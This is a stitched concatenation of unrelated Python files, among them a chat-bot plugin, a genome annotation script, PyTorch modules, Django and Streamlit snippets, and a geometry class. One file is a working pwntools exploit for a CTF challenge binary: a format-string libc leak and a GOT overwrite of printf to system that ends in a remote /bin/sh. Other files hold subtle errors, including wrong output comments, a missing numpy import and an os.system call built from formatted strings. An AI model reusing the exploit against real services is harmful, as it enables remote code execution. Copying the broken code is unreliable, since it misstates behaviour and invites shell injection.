self._connect_if_not_connected()
city_1_id = self._get_city_id(city_1)
city_2_id = self._get_city_id(city_2)
sql_string = "INSERT INTO distances (city_1_id, city_2_id, distance, duration) " \
"VALUES (?, ?, ?, ?)"
self._cursor.execute(sql_string, (city_1_id, city_2_id, distance, duration,))
self._connection.commit()
def get_value(self, city_1: str, city_2: str, option: str) -> Union[float, None]:
self._connect_if_not_connected()
if option not in ['distance', 'duration']:
raise ValueError('Only "distance" and "duration" allowed.')
city_1_id = self._get_city_id(city_1)
city_2_id = self._get_city_id(city_2)
sql_string = f"SELECT {option} FROM distances WHERE " \
"(city_1_id = ? AND city_2_id = ?)" \
" OR (city_1_id = ? AND city_2_id = ?)"
self._cursor.execute(sql_string, (city_1_id, city_2_id, city_2_id, city_1_id,))
answer = self._cursor.fetchone()
if answer is None:
return None
return answer[0]
| python |
# -*- coding: utf8 -*-
__description__ = "Pick a random item from a given list of items. The trigger is 'pick'."
__version__ = "1.0"
__author__ = "Dingo"
from core.plugin import Plugin
import re
import random
async def pick(command):
message = " ".join(command.args)
message = message.replace(" and say:", ":")
try:
pickstring, saystring = re.split(r": ", message, 1)
except ValueError:
pickstring = message
saystring = None
prepicks = [x.strip() for x in pickstring.split(",")]
picks = []
re_range = re.compile(r"^(-?\d+)\.\.(-?\d+)(;\d+)?$")
for pick in prepicks:
rangecheck = re_range.search(pick)
if rangecheck:
try:
if rangecheck.group(1).startswith("0") or rangecheck.group(1).startswith("-0"):
fill_string = "%%0%ii" % len(rangecheck.group(1))
else:
fill_string = "%i"
start = int(rangecheck.group(1))
stop = int(rangecheck.group(2))
if rangecheck.group(3):
step = int(rangecheck.group(3)[1:])
else:
step = 1
except ValueError:
picks.append(pick)
continue
if start > stop or abs((stop - start) / step) > 1024:
picks.append(pick)
else:
picks.extend(fill_string % i for i in range(start, stop + 1, step))
else:
picks.append(pick)
absurdity = random.randint(1, 100)
if absurdity > 80:
texts = (
"The sources from beyond the grave say: %s",
"Our computer simulation predicts %s! No warranty expressed or implied.",
"Don't you worry about %s, let me worry about blank.",
"%s? %S?? You're not looking at the big picture!",
"Give me %s or give me death!",
"Amy! I mean: %s!",
"Once again, the conservative, sandwich-heavy %s pays off for the hungry investor.",
"%s: style and comfort for the discriminating crotch.",
"%s sounds interesting! No, that other word. Tedious!",
"Good man. Nixon's pro-war and pro-%s.",
"Doug & Carrie, Doug & Carrie, Doug & Carrie, Doug & Carrie! %s! %s! %s! %s!",
# "%u, %s is make-believe, like elves, gremlins, and eskimos.",
"Weaseling out of %s is important to learn. It's what separates us from the animals ... except the weasel.",
"Is %s too violent for children? Most people would say, 'No, of course not. Don't be ridiculous.' But one woman says, 'Yes.' %u.",
"The dark side clouds everything. Impossible to see the future is... But I'm sure %s is in it!",
"I spent 90% of my money on women and %s. The rest I wasted.",
"As God once put it: let there be %s!",
# "%u, today is your day, %s is waiting, so get on your way.",
"I've got four words for you: I! LOVE! THIS! %S! YEEEEEEEEEEEAAAS!!!",
"Remember, a Jedi's strength flows from the Force. But beware. Anger, fear, %s. The dark side they are.",
"Choose %s! Respect my authoritah!!",
"%s: it's a privilege, not a right.",
"Fear leads to Anger. Anger leads to Hate. Hate leads to %s.",
"Drugs are for losers, and %s is for losers with big weird eyebrows.",
# "I heard %s makes you stupid. | <%u> No, I'm... doesn't!",
"%s. Hell, it's about time!",
)
else:
texts = (
"The computer simulation recommends %s.",
"Result: %s",
"The answer is %s.",
"Optimal choice: %s",
)
if saystring:
if any(mark in saystring for mark in ("%s", "%S", "%n", "%N")):
text = saystring
else:
text = "%s " + saystring
else:
if len(picks) == 1 and picks[0].lower() in (
"flower",
"nose",
"fight",
"a fight",
"pocket",
"lock",
):
onlypick = picks[0].lower()
if onlypick == "flower":
text = "%u picks a flower. As its sweet smell fills the channel, all chatter get +3 for saving throws on net splits."
elif onlypick == "nose":
text = "Eeeew! %u, do that somewhere private!"
elif onlypick in ("fight", "a fight"):
text = "%u starts a brawl in another channel. Only the quick reaction of fellow %c chatters saves the weakling from a gruesome fate."
elif onlypick == "pocket":
text = "Despite being amazingly clumsy, %u manages to pick the pocket of an innocent bystander. A used handkerchief is the reward."
elif onlypick == "lock":
text = "Lockpick required."
else:
text = random.choice(texts)
chosen = random.choice(picks)
if picks != [""]:
msg = text
# msg = msg.replace("%u", event.user)
# msg = msg.replace("%c", str(event.channel))
msg = msg.replace("%S", "**" + chosen.upper() + "**")
msg = msg.replace("%s", "**" + chosen + "**")
msg = msg.replace("%N", chosen.upper())
msg = msg.replace("%n", chosen)
else:
return None
await plugin.respond_message(command, msg, delay=200)
plugin = Plugin("pick", "General", "Plugin to provide a simple, randomized !pick")
plugin.add_command("pick", pick, "aids you in those really important life decisions")
| python |
#! /usr/bin/env python
# -*- coding:UTF-8 -*-
"""
------------------------------------------------------------------------------------------
It is used to get the longest mRNA of gene and filter pep and cds result with a certain length;
usage: python xx.py -i GFF -f FASTA -g out.gff -o out.fa -s species_short_name -l 30
newly revised by Frank in Feb 22th 2020.
newly revised by Frank in Aug 15th 2020,
a. solve phase coding problem;
b. solve translate table problem.
c. solve columns error of gff.
------------------------------------------------------------------------------------------
"""
__author__ = "Frank"
__version__ = "0.4.3"
import sys
import os
import gzip
import re
from Bio.Seq import Seq
from Bio import SeqIO
from Bio.Alphabet import IUPAC
from Bio.Alphabet import generic_dna
from collections import OrderedDict
from optparse import OptionParser
def readfile(filein,mode):
try:
if filein.endswith('gz'):
fx = gzip.open(filein,mode+'b')
else:
fx = file(filein,mode)
except:
sys.stderr.write('ERROR: fail to the IO file: %s!\n'%filein)
return fx
def calculateDist(listx):
dists = []
for i in xrange(len(listx)):
pos1 = int(listx[i].split('_')[0])
pos2 = int(listx[i].split('_')[1])
dist = pos2-pos1+1
dists.append(dist)
sumx = float(np.sum(dists))
return sumx
def gffAttr(idx,key_len=3,sep=';'):
if sep in idx:
out = idx.split(sep)[0][key_len:]
else:
out = idx[key_len:]
return out
def reParentAttr(line):
if 'Parent=' in line:
parent = re.search(r'Parent=\S+;?',line).group()
par_info = gffAttr(parent,key_len=7)
else:
par_info = reIDAttr(line)
return par_info
def reIDAttr(line):
idx = re.search(r'ID=\S+;?',line).group()
id_info = gffAttr(idx)
return id_info
def reIDAttr2(line):
idx = re.search(r'ID=\S+;?',line)
if idx == None:
print line
id_info = None
else:
idx = idx.group()
id_info = gffAttr(idx)
return id_info
def reNameAttr(line):
name = re.search(r'Name=\S+;?',line).group()
name_info = gffAttr(name,key_len=5)
return name_info
def outgffAttr(info,line,split_sym=';'):
linetype = info.split('/')[1]
if linetype == 'gene':
geneid = reIDAttr(line)
geneid2 = outgene(geneid)
line = '\t'.join(line.strip().split('\t')[0:-1])+'\tID='+geneid2+';\n'
#elif linetype == 'mRNA' or linetype == 'CDS':
else:
mRNAparid = reParentAttr(line)
mRNAparid2 = outgene(mRNAparid)
if 'ID=' in line:
mRNAid = reIDAttr(line)
mRNAid2 = outgene(mRNAid)
line = '\t'.join(line.strip().split('\t')[0:-1])+'\tID='+mRNAid2+';Parent='+mRNAparid2+';\n'
else:
line = '\t'.join(line.strip().split('\t')[0:-1])+'\tID='+mRNAparid2+';Parent='+mRNAparid2+';\n'
return line
def sortedDict(hgff):
for gene in hgff:
if len(hgff[gene]) == 0:
del hgff[gene]
continue
distcal = {}
for x in hgff[gene]:
distx = calculateDist(hgff[gene][x])
distcal[x] = distx
sorted_dist = sorted(distcal.items(), key = lambda d:d[1],reverse=True)
sorted_key = sorted_dist[0][0]
strand = gene.split('/')[-1]
if strand == '+':
sorted_value = sorted(hgff[gene][sorted_key],key=lambda x:int(x.split('_')[0]))
else:
sorted_value = sorted(hgff[gene][sorted_key],key=lambda x:int(x.split('_')[0]),reverse=True)
hgff[gene] = {sorted_key:sorted_value}
return hgff
def outgff(hgff,hgeneinfo,hinfo,split_sym='_'):
houtinfo = OrderedDict()
for gene in hgff:
if gene in hgeneinfo:
chrx = hgeneinfo[gene].split('/')[0]
geneinfox = chrx+'/'+'gene'+'/'+gene
houtinfo[geneinfox] = hinfo[geneinfox]
for x in hgff[gene]:
rnainfox = chrx+'/'+'mRNA'+'/'+x
houtinfo[rnainfox] = hinfo[rnainfox]
for i in xrange(len(hgff[gene][x])):
cdsinfox = chrx+'/CDS/'+split_sym.join(hgff[gene][x][i].split(split_sym)[0:-1])+'/'+x
houtinfo[cdsinfox] = hinfo[cdsinfox]
else:
continue
return houtinfo
def outseq_trans_strand(seq,strand_dir):
if strand_dir == '-':
seqout = ''.join(list(Seq(seq, IUPAC.unambiguous_dna).reverse_complement())).upper()
else:
seqout = seq.upper()
return seqout
def outgene(gene): # update 2020.01.08
#if ':' in gene:
# geneout = gene.split(':')[-1]
#else:
# geneout = gene
gene = gene.split(':')[-1]
geneout = re.sub('[^.\w+]','_',gene)
return geneout
def longestmRNA(fgff,gene_region='CDS'):
hgff = OrderedDict()
hmRNA_gene = {}
hgeneinfo = {} #{geneid1:'chr1/+',geneid2:'chr1/-'}
hinfo = {} #{'chr1/gene/geneid':line,'chr1/mRNA/rna_id':line'}
for line in fgff:
if line.startswith('#'):continue
if len(line.strip()) == 0:continue
gffline = line.strip().split('\t')
geneinfo = gffline[0]+'/'+gffline[6]
if gffline[2] == 'gene': #确保gene行都有biotype字符串或都没有才行
if 'biotype=protein_coding' in gffline[8]:
geneid = reIDAttr(gffline[8])+'/'+gffline[6]
hgff.setdefault(geneid,{})
hgeneinfo[geneid] = geneinfo
geneinfox = gffline[0]+'/'+'gene'+'/'+geneid
hinfo[geneinfox] = line
elif 'biotype=' not in gffline[8]:
geneid = reIDAttr(gffline[8])+'/'+gffline[6]
hgff.setdefault(geneid,{})
hgeneinfo[geneid] = geneinfo
geneinfox = gffline[0]+'/'+'gene'+'/'+geneid
hinfo[geneinfox] = line
else:
continue
else:
if gffline[2] == 'mRNA' or gffline[2] == 'transcript':
rna_parent = reParentAttr(gffline[8])+'/'+gffline[6]
rna_id = reIDAttr(gffline[8])
hmRNA_gene[rna_id] = rna_parent
if rna_parent in hgff:
hgff[rna_parent][rna_id] = []
else:
continue
rnainfox = gffline[0]+'/'+'mRNA'+'/'+rna_id
hinfo[rnainfox] = line
elif gffline[2] == gene_region:
cds_parent = reParentAttr(gffline[8])
posinfo = gffline[3]+'_'+gffline[4]+'_'+gffline[7]
if cds_parent in hmRNA_gene:
genex = hmRNA_gene[cds_parent]
if genex in hgff:
hgff[genex][cds_parent].append(posinfo)
else:
continue
else:
continue
cdsinfox = gffline[0]+'/CDS/'+gffline[3]+'_'+gffline[4]+'/'+cds_parent
hinfo[cdsinfox] = line
else:
continue
hgff = sortedDict(hgff)
houtinfo = outgff(hgff,hgeneinfo,hinfo,split_sym='_')
del hinfo
return hgff,hgeneinfo,houtinfo
#def outfa_parse(hout,hgeneinfo,fasta,fa_out,sp_abbr="None",outseqname_type="gene"):
def outfa_parse(hout,hgeneinfo,fasta,fa_out,fp_out,sp_abbr="None",outseqname_type="gene",table=1,cds_fetch_position='True'):
for seq in SeqIO.parse(fasta,"fasta"):
for gene in hout:
if len(hout[gene]) == 0:continue
if gene in hgeneinfo:
chrom = hgeneinfo[gene].split('/')[0]
sym = hgeneinfo[gene].split('/')[-1]
seqouts = []
if chrom == seq.id:
for x in hout[gene]:
phase_list = []
for i in xrange(len(hout[gene][x])):
pos1 = int(hout[gene][x][i].split('_')[0])
pos2 = int(hout[gene][x][i].split('_')[1])
seqout = str(seq.seq)[pos1-1:pos2]
seqouts.append(seqout)
phase_list.append(hout[gene][x][i].split('_')[-1])
del hout[gene]
#del hgeneinfo[gene]
if sym == '+':
outseqs = ''.join(seqouts)
else:
outseqs = ''.join(seqouts[::-1])
seq_ret = outseq_trans_strand(outseqs,sym)
phase = phase_list[0]
if phase == '.':
seq_retx = seq_ret
else:
seq_retx = seq_ret[int(phase):]
gene = outgene(gene.split('/')[0])
x = outgene(x)
if outseqname_type == "gene":
if sp_abbr == "None":
if cds_fetch_position == 'True':
fa_out.write('>'+gene+'\n'+seq_ret+'\n')
else:
fa_out.write('>'+gene+'\n'+seq_retx+'\n')
fp_out.write('>'+gene+'\n'+str(Seq(seq_retx).translate(table=table))+'\n')
else:
if cds_fetch_position == 'True':
fa_out.write('>'+gene+'_'+sp_abbr+'\n'+seq_ret+'\n')
else:
fa_out.write('>'+gene+'_'+sp_abbr+'\n'+seq_retx+'\n')
fp_out.write('>'+gene+'_'+sp_abbr+'\n'+str(Seq(seq_retx).translate(table=table))+'\n')
elif outseqname_type == "mRNA":
if sp_abbr == "None":
if cds_fetch_position == 'True':
fa_out.write('>'+x+'\n'+seq_ret+'\n')
else:
fa_out.write('>'+x+'\n'+seq_retx+'\n')
fp_out.write('>'+x+'\n'+str(Seq(seq_retx).translate(table=table))+'\n')
else:
if cds_fetch_position == 'True':
fa_out.write('>'+x+'_'+sp_abbr+'\n'+seq_ret+'\n')
else:
fa_out.write('>'+x+'_'+sp_abbr+'\n'+seq_retx+'\n')
fp_out.write('>'+x+'_'+sp_abbr+'\n'+str(Seq(seq_retx).translate(table=table))+'\n')
else:
sys.stderr.write('[ERROR] Something wrong with the -t option, please check it.')
else:
continue
else:
continue
def main():
usage="%prog [options]" + '\n' + __doc__ + "\n"
parser = OptionParser(usage,version="%prog " + __version__)
parser.add_option('-i',"--input-gff",action="store",type="string",dest="input_gff",help="Annotation file in gff format. [required]")
parser.add_option('-f',"--input-fasta",action="store",type="string",dest="input_fasta",help="genome file in fasta format. [required]")
parser.add_option('-g',"--out-gff",action="store",type="string",dest="output_gff",help="output files(s) in gff format with longest mRNA. [required]")
parser.add_option('-o',"--out-fa-prefix",action="store",type="string",dest="output_fasta",help="prefix of output files(s) in fasta format. [required]")
parser.add_option('-s',"--species-shortname",action="store",type="string",dest="species_shortname",help="add species shortname in sequence name",default="None")
parser.add_option('-r',"--region",action="store",dest="gene_region",help="the region of genes, you can choose 'CDS' or 'exon'",type="choice",choices=["CDS","exon"],default="CDS")
parser.add_option('-t',"--type",action="store",dest="outseqname_type",help="type of out sequence name,you can choose 'gene' or 'mRNA'",type="choice",choices=["gene","mRNA"],default="mRNA")
parser.add_option('-l',"--length",action="store",dest="pep_length",help="the filtered length of protein sequence",type="int",default=30)
parser.add_option('--tt',action='store',dest="transl_table",help="codon table used for translating CDS sequence, you can learn more from the link: http://www.ncbi.nlm.nih.gov/Taxonomy/Utils/wprintgc.cgi",type="int",default=1)
parser.add_option('--cfp',action='store',dest='cds_fetch_position',help='CDS sequences extracted by position or not, True or False, default="False"',type='choice',choices=["True","False"],default="False")
(options,args)=parser.parse_args()
if not (options.input_fasta and options.input_gff):
parser.print_help()
sys.exit(0)
with readfile(options.input_gff,'r') as fgff:
hout,hgeneinfo,houtinfo = longestmRNA(fgff,gene_region=options.gene_region)
with readfile(options.output_gff,'w') as fgff_out:
for outinfo in houtinfo:
fgff_out.write(outgffAttr(outinfo,houtinfo[outinfo]))
with readfile(options.input_fasta,'r') as fasta, readfile(options.output_fasta+'.cds','w') as fa_out, readfile(options.output_fasta+'.pep','w') as fp_out:
outfa_parse(hout,hgeneinfo,fasta,fa_out,fp_out,sp_abbr=options.species_shortname,outseqname_type=options.outseqname_type,table=options.transl_table,cds_fetch_position=options.cds_fetch_position)
os.system('python pep_cds_filter.py %s %s %s'%(os.path.abspath(options.output_fasta+'.pep'),os.path.abspath(options.output_fasta+'.cds'),str(options.pep_length)))
if __name__ == "__main__":
main()
| python |
import httpx
group_types = ("group", "supergroup")
http = httpx.AsyncClient(http2=True)
class Permissions:
can_be_edited = "can_be_edited"
delete_messages = "can_delete_messages"
restrict_members = "can_restrict_members"
promote_members = "can_promote_members"
change_info = "can_change_info"
invite_users = "can_invite_users"
pin_messages = "can_pin_messages"
| python |
#!/usr/bin/python3
from pwn import *
binary = ELF('./dead-canary')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.update(arch='amd64',os='linux')
binary.symbols['main'] = 0x400737
offset = 6
libcoffset = 41
#p = process(binary.path)
p = remote('2020.redpwnc.tf', 31744)
# first pass, inf. retries if we blow out canary, leak libc
p.recvuntil('name: ')
payload = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'
payload += fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=18)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
p.recvuntil('Hello ')
_ = p.recv(18)
__libc_start_main = int(_,16) - 231
log.info('__libc_start_main: ' + hex(__libc_start_main))
baselibc = __libc_start_main - libc.symbols['__libc_start_main']
log.info('baselibc: ' + hex(baselibc))
libc.address = baselibc
# 2nd pass, printf -> system
p.recvuntil('name: ')
payload = fmtstr_payload(offset,{binary.got['printf']:libc.symbols['system']},numbwritten=0)
payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'
p.send(payload)
# take out the garbage
null = payload.find(b'\x00')
log.info('null loc: ' + str(null))
p.recvuntil(payload[null-2:null])
# final pass, flying blind
p.sendline('/bin/sh')
p.interactive()
| python |
"""
Typcasting w. Integers & Floats
"""
# Convert these numbers into floats and back. Print out each result as well as its data type.
five = 5
zero = 0
neg_8 = -8
neg_22 = -22
five = float(five)
zero = float(zero)
neg_8 = float(neg_8)
neg_22 = float(neg_22)
print(five, type(five)) # 5.0 <class 'float'>
print(zero, type(zero)) # 0.0 <class 'float'>
print(neg_8, type(neg_8)) # -8.0 <class 'float'>
print(neg_22, type(neg_22)) # -22.0 <class 'float'>
five = int(five)
zero = int(zero)
neg_8 = int(neg_8)
neg_22 = int(neg_22)
print(five, type(five)) # 5.0 <class 'int'>
print(zero, type(zero)) # 0.0 <class 'int'>
print(neg_8, type(neg_8)) # -8.0 <class 'int'>
print(neg_22, type(neg_22)) # -22.0 <class 'int'>
| python |
from io import StringIO
import json
import streamlit as st
from water_rocket import WaterRocket
def page_introduction(wr: WaterRocket) -> WaterRocket:
st.title("Open Water Rocket")
st.write("""
## Objectives
The goal of this app to provide a simple platform for analysing
water rocket design.
"""
)
st.warning("This is only a VERY initial prototype!")
st.write("""
---
## Load data
You can load a .json file with your project data,
or you may configure it in the tabs in the sidebar.
"""
)
data = st.file_uploader(
label="Upload json file",
type="json",
accept_multiple_files=False,
)
if data:
st.write("""
---
## Loaded Data
Data loaded successfully.
"""
)
data_str = StringIO(data.getvalue().decode("utf-8")).read()
data_json = json.loads(data_str)
st.json(data_json)
wr = WaterRocket(**data_json)
return wr
| python |
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
class SurfaceClassifier(nn.Module):
def __init__(self, filter_channels, num_views=1, no_residual=True, last_op=None):
super(SurfaceClassifier, self).__init__()
self.filters = []
self.num_views = num_views
self.no_residual = no_residual
filter_channels = filter_channels
self.last_op = last_op
if self.no_residual:
for l in range(0, len(filter_channels) - 1):
self.filters.append(nn.Conv1d(
filter_channels[l],
filter_channels[l + 1],
1))
self.add_module("conv%d" % l, self.filters[l])
else:
for l in range(0, len(filter_channels) - 1):
if 0 != l:
self.filters.append(
nn.Conv1d(
filter_channels[l] + filter_channels[0],
filter_channels[l + 1],
1))
else:
self.filters.append(nn.Conv1d(
filter_channels[l],
filter_channels[l + 1],
1))
self.add_module("conv%d" % l, self.filters[l])
def forward(self, feature):
'''
:param feature: list of [BxC_inxHxW] tensors of image features
:param xy: [Bx3xN] tensor of (x,y) coodinates in the image plane
:return: [BxC_outxN] tensor of features extracted at the coordinates
'''
y = feature
tmpy = feature
for i, f in enumerate(self.filters):
if self.no_residual:
y = self._modules['conv' + str(i)](y)
else:
y = self._modules['conv' + str(i)](
y if i == 0
else torch.cat([y, tmpy], 1)
)
if i != len(self.filters) - 1:
y = F.leaky_relu(y)
if self.num_views > 1 and i == len(self.filters) // 2:
y = y.view(
-1, self.num_views, y.shape[1], y.shape[2]
).mean(dim=1)
tmpy = feature.view(
-1, self.num_views, feature.shape[1], feature.shape[2]
).mean(dim=1)
if self.last_op:
y = self.last_op(y)
return y
class neural_texture(nn.Module):
def __init__(self, filter_channels, num_views=1, no_residual=True, last_op=None):
super(neural_texture, self).__init__()
self.filters = []
self.num_views = num_views
self.no_residual = no_residual
filter_channels = filter_channels
self.last_op = last_op
if self.no_residual:
for l in range(0, len(filter_channels) - 1):
self.filters.append(nn.Conv1d(
filter_channels[l],
filter_channels[l + 1],
1))
self.add_module("conv%d" % l, self.filters[l])
else:
for l in range(0, len(filter_channels) - 1):
if 0 != l:
self.filters.append(
nn.Conv1d(
filter_channels[l] + filter_channels[0],
filter_channels[l + 1],
1))
else:
self.filters.append(nn.Conv1d(
filter_channels[l],
filter_channels[l + 1],
1))
self.add_module("conv%d" % l, self.filters[l])
def forward(self, feature):
'''
:param feature: list of [BxC_inxHxW] tensors of image features
:param xy: [Bx3xN] tensor of (x,y) coodinates in the image plane
:return: [BxC_outxN] tensor of features extracted at the coordinates
'''
y = feature
tmpy = feature
for i, f in enumerate(self.filters):
if self.no_residual:
y = self._modules['conv' + str(i)](y)
else:
y = self._modules['conv' + str(i)](
y if i == 0
else torch.cat([y, tmpy], 1)
)
if i != len(self.filters) - 1:
y = F.leaky_relu(y)
if self.num_views > 1 and i == len(self.filters) // 2:
y = y.view(
-1, self.num_views, y.shape[1], y.shape[2]
).mean(dim=1)
tmpy = feature.view(
-1, self.num_views, feature.shape[1], feature.shape[2]
).mean(dim=1)
if self.last_op:
y = self.last_op(y)
return y
class conv1_1(nn.Module):
def __init__(self, input_layers=256, output_layers=16, kernel_size=1, stride=1, padding=0, bias=True):
super(conv1_1, self).__init__()
self.model = nn.Conv2d(in_channels=input_layers, out_channels=output_layers, \
kernel_size=kernel_size, stride=stride, padding=padding, bias=bias)
self.sig = nn.Sigmoid()
def forward(self, x):
x = self.model(x)
x = self.sig(x)
return x*2-1
# class contrast_loss(nn.Module):
# # TODO: use precomputed face index map to only supervise the fore part.
# def __init__(self,rate=1) -> None:
# super(contrast_loss,self).__init__()
# self.temp1 = 100.
# self.temp2 = 10.
# self.criterion=nn.MSELoss()
# self.fake = torch.zeros((16,128,128)).to('cuda:0')
# self.rate = rate
# def forward(self, src, tgt):
# if isinstance(src, np.ndarray):
# src = torch.from_numpy(src)
# if isinstance(tgt, np.ndarray):
# tgt = torch.from_numpy(tgt)
# self.consist_loss = self.criterion(src,tgt)*self.temp1
# # print(self.consist_loss)
# if self.temp2 > 0:
# self.temp2-=self.rate
# self.differ_loss = -torch.log(self.criterion(src,self.fake.expand(src.shape[0],-1,-1,-1)))*self.temp2
# return self.differ_loss+self.consist_loss
# else:
# return self.consist_loss
class period_loss(nn.Module):
def __init__(self,r1=10,r2=1,r3=0.1,r4=0.01) -> None:
super(period_loss,self).__init__()
self.weights = [r1, r2, r3, r4]
# self.slice = [4,8,12,16]
self.criterion = nn.MSELoss()
def forward(self,x,y):
if x.shape[1]==16:
loss = 0.0
for i in range(4):
loss+=self.weights[i] * self.criterion(x[:,4*i:4*i+4], y[:,4*i:4*i+4])
return loss/4
if x.shape[1]==3:
return self.criterion(x, y)
if __name__=='__main__':
a = torch.rand((4,16,128,128))*2-1
b = torch.rand((4,16,128,128))*2-1
c = torch.ones((4,16,128,128))
d = torch.zeros((4,16,128,128))
ppp = period_loss(1,1,1,1)
f = ppp(c,d)
print(f) | python |
class PushwooshException(Exception):
pass
class PushwooshCommandException(PushwooshException):
pass
class PushwooshNotificationException(PushwooshException):
pass
class PushwooshFilterException(PushwooshException):
pass
class PushwooshFilterInvalidOperatorException(PushwooshFilterException):
pass
class PushwooshFilterInvalidOperandException(PushwooshFilterException):
pass
| python |
import socket
from smtplib import SMTPException
from django.core.mail import EmailMessage
from django.template.loader import render_to_string
from django.utils.translation import ugettext_lazy as _
def send_email(instance):
context = {
"user": instance,
"api_key": instance.client.api_key,
}
email_subject = _(f"API Token Created")
email_body = render_to_string("core\email_message.txt", context)
emailBody = EmailMessage(
subject=email_subject,
body=email_body,
from_email="[email protected]",
to=(instance.email,),
cc="",
reply_to=("[email protected]",),
)
try:
emailBody.send(fail_silently=False)
print("token email sent")
# error due to email server
except SMTPException as e:
print(f"email failed due to {e}")
# error due to socket
except socket.gaierror as e:
print(f"email failed due to {e}")
| python |
import numpy as np
from scipy.spatial import Delaunay
import matplotlib.pyplot as plt
from matplotlib.collections import LineCollection
class AlphaVisualization:
""" Visualization methods for AlphaShapes class. """
def plot_boundary(self, color='k', ax=None, **kwargs):
"""
Plot boundary of concave hull as a collection of line objects.
Args:
color (str or RGBA) - path color
ax (matplotlib.axes.AxesSubplot) - if None, create figure
kwargs: keyword arguments for matplotlib.LineCollection
"""
# create figure
if ax is None:
fig, ax = plt.subplots(figsize=(2, 2))
xmin, ymin = self.points.min(axis=0)
xmax, ymax = self.points.max(axis=0)
ax.set_xlim(xmin, xmax)
ax.set_ylim(ymin, ymax)
ax.axis('off')
# create line collection and add it to the axis
lines = LineCollection(self.boundary, colors=color, **kwargs)
ax.add_collection(lines)
# format axis
ax.set_aspect(1)
return ax
class AlphaShapes(AlphaVisualization):
"""
Object for computing the concave hull (alpha shape) of a set of points.
Attributes:
points (np.ndarray[float]) - points, shape (n,2)
alpha (float) - alpha value
only_outer (bool) - if True, only keep outer border
edge_indices (np.ndarray[int]) - (i,j) pairs representing edges of the alpha-shape. Indices (i,j) index the points array.
References:
stackoverflow: questions/50549128/boundary-enclosing-a-given-set-of-points
"""
def __init__(self, points, alpha, only_outer=True):
"""
Instantiate alpha shape object.
Args:
points (np.ndarray[float]) - points, shape (n,2)
alpha (float) - alpha value
only_outer (bool) - if True, only keep outer border
"""
self.points = points
self.alpha = alpha
self.only_outer = only_outer
edge_indices = self._alpha_shape(points, alpha, only_outer=only_outer)
self.edge_indices = np.array(list(edge_indices))
def __call__(self, xy):
""" Test whether each point in <xy> lies within the alpha shape. """
f = np.vectorize(lambda x, y: self._is_inside(x, y, self.points, self.edges))
return f(xy.T)
@property
def boundary(self):
""" Boundary line segments. """
return self.points[self.edge_indices]
@staticmethod
def _alpha_shape(points, alpha, only_outer=True):
"""
Compute the concave hull (alpha shape) of a set of points.
Args:
points (np.ndarray[float]) - points, shape (n,2)
alpha (float) - alpha value
only_outer (bool) - if True, only keep outer border
Returns:
boundary (list of tuples) - Set of (i,j) pairs representing edges of the alpha-shape. Indices (i,j) index the points array.
References:
https://stackoverflow.com/questions/50549128/boundary-enclosing-a-given-set-of-points
"""
assert points.shape[0] > 3, "Need at least four points"
def add_edge(edges, i, j):
""" Add a line between the i-th and j-th points if it's not already in the list. """
if (i, j) in edges or (j, i) in edges:
# already added
assert (j, i) in edges, "Can't go twice over same directed edge right?"
if only_outer:
# if both neighboring triangles are in shape, it's not a boundary edge
edges.remove((j, i))
return
edges.add((i, j))
tri = Delaunay(points)
edges = set()
# Loop over triangles:
# ia, ib, ic = indices of corner points of the triangle
for ia, ib, ic in tri.vertices:
pa = points[ia]
pb = points[ib]
pc = points[ic]
# Computing radius of triangle circumcircle
# www.mathalino.com/reviewer/derivation-of-formulas/derivation-of-formula-for-radius-of-circumcircle
a = np.sqrt((pa[0] - pb[0]) ** 2 + (pa[1] - pb[1]) ** 2)
b = np.sqrt((pb[0] - pc[0]) ** 2 + (pb[1] - pc[1]) ** 2)
c = np.sqrt((pc[0] - pa[0]) ** 2 + (pc[1] - pa[1]) ** 2)
s = (a + b + c) / 2.0
area = np.sqrt(s * (s - a) * (s - b) * (s - c))
circum_r = a * b * c / (4.0 * area)
if circum_r < alpha:
add_edge(edges, ia, ib)
add_edge(edges, ib, ic)
add_edge(edges, ic, ia)
return edges
@staticmethod
def _is_inside(x, y, points, edges, eps=1.0e-10):
"""
Check if point (<x>, <y>) lies within the alpha shape defined by <points> and <edges>.
"""
intersection_counter = 0
for i, j in edges:
assert abs((points[i,1]-y)*(points[j,1]-y)) > eps, 'Need to handle these end cases separately'
y_in_edge_domain = ((points[i,1]-y)*(points[j,1]-y) < 0)
if y_in_edge_domain:
upper_ind, lower_ind = (i,j) if (points[i,1]-y) > 0 else (j,i)
upper_x = points[upper_ind, 0]
upper_y = points[upper_ind, 1]
lower_x = points[lower_ind, 0]
lower_y = points[lower_ind, 1]
# is_left_turn predicate is evaluated with: sign(cross_product(upper-lower, p-lower))
cross_prod = (upper_x - lower_x)*(y-lower_y) - (upper_y - lower_y)*(x-lower_x)
assert abs(cross_prod) > eps, 'Need to handle these end cases separately'
point_is_left_of_segment = (cross_prod > 0.0)
if point_is_left_of_segment:
intersection_counter = intersection_counter + 1
return (intersection_counter % 2) != 0
| python |
import os.path
import argparse
import json
import yaml
from datetime import datetime
import numpy as np
import plotly.graph_objects as go
import plotly.express as px
import ctypes
import PySimpleGUI as sg
class Stats:
'''Yliluokka, joka sisältää päivämäärät sekä metodin näiden muuttamiseksi oikeaan muotoon ja metodin sekuntien muuttamiseksi tunneiksi.'''
days = []
@classmethod
def convert_dates(cls, days=days):
'''Muuntaa merkkijonoina olevat päivämäärät oikean tyyppisiksi.'''
for index, day in enumerate(days):
days[index] = datetime(int(day[0:4]), int(day[5:7]), int(day[8:10])).date()
@staticmethod
def seconds_to_hours(seconds):
'''Muuntaa parametrina annetut sekunnit tunneiksi.'''
hours = seconds / 3600
return hours
@staticmethod
def fetch_days_and_labels(data, days=days, languages=None, editors=None, operating_systems=None, ignored_stats=[], searched_stats=[]):
'''Lisää päivät listaan ja avaimet haluttuihin hakurakenteisiin.'''
#Käydään läpi kaikki päivät
for day in data["days"]:
#Ohitetaan päivä käyttäjän antamista argumenteista riippuen
if day["date"] < str(start_date):
continue
elif day["date"] > str(end_date):
continue
#Päivämäärät
days.append(day["date"])
#Kielet
if languages is not None:
for language in day["languages"]:
if len(searched_stats) == 0:
if language["name"] in ignored_stats:
continue
elif language["name"] not in languages:
languages[language["name"]] = []
else:
